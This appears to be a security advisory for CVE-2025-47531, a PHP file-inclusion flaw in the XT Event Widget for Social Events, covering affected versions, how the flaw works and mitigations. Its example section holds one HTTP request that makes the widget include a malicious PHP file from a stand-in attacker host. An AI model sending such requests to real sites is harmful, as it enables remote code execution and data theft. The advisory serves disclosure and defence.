Overview
The vulnerability dubbed as CVE-2025-47531 is a critical security flaw that affects the Xylus Themes XT Event Widget for Social Events. Specifically, it relates to an Improper Control of Filename for Include/Require Statement in PHP Program, otherwise known as PHP Remote File Inclusion. The defect allows potential perpetrators to perform PHP Local File Inclusion, which could lead to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2025-47531
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage
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Product | Affected Versions
Xylus Themes XT Event Widget for Social Events | n/a through 1.1.7
How the Exploit Works
The exploit works by taking advantage of the improper control of filename for include/require statement in the PHP program of the affected widget. The attacker could manipulate the file path in the include/require statement to execute a remote file from an arbitrary server. This remote file can contain malicious PHP code that, when executed, could compromise the system or lead to data leakage.
Conceptual Example Code
Here is a hypothetical example of how the vulnerability might be exploited using a manipulated HTTP request:
GET /path/to/vulnerable/widget.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker has manipulated the ‘file’ parameter in the request to include a PHP file from their server (`attacker.com`). This malicious file (`malicious_file.php`) contains a code that, when executed, could compromise the system or result in data leakage.
Recommendations
Users are advised to immediately update the affected widget to the patched version as provided by the vendor. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the vulnerability. Regular checks for system integrity and data leaks are also recommended.
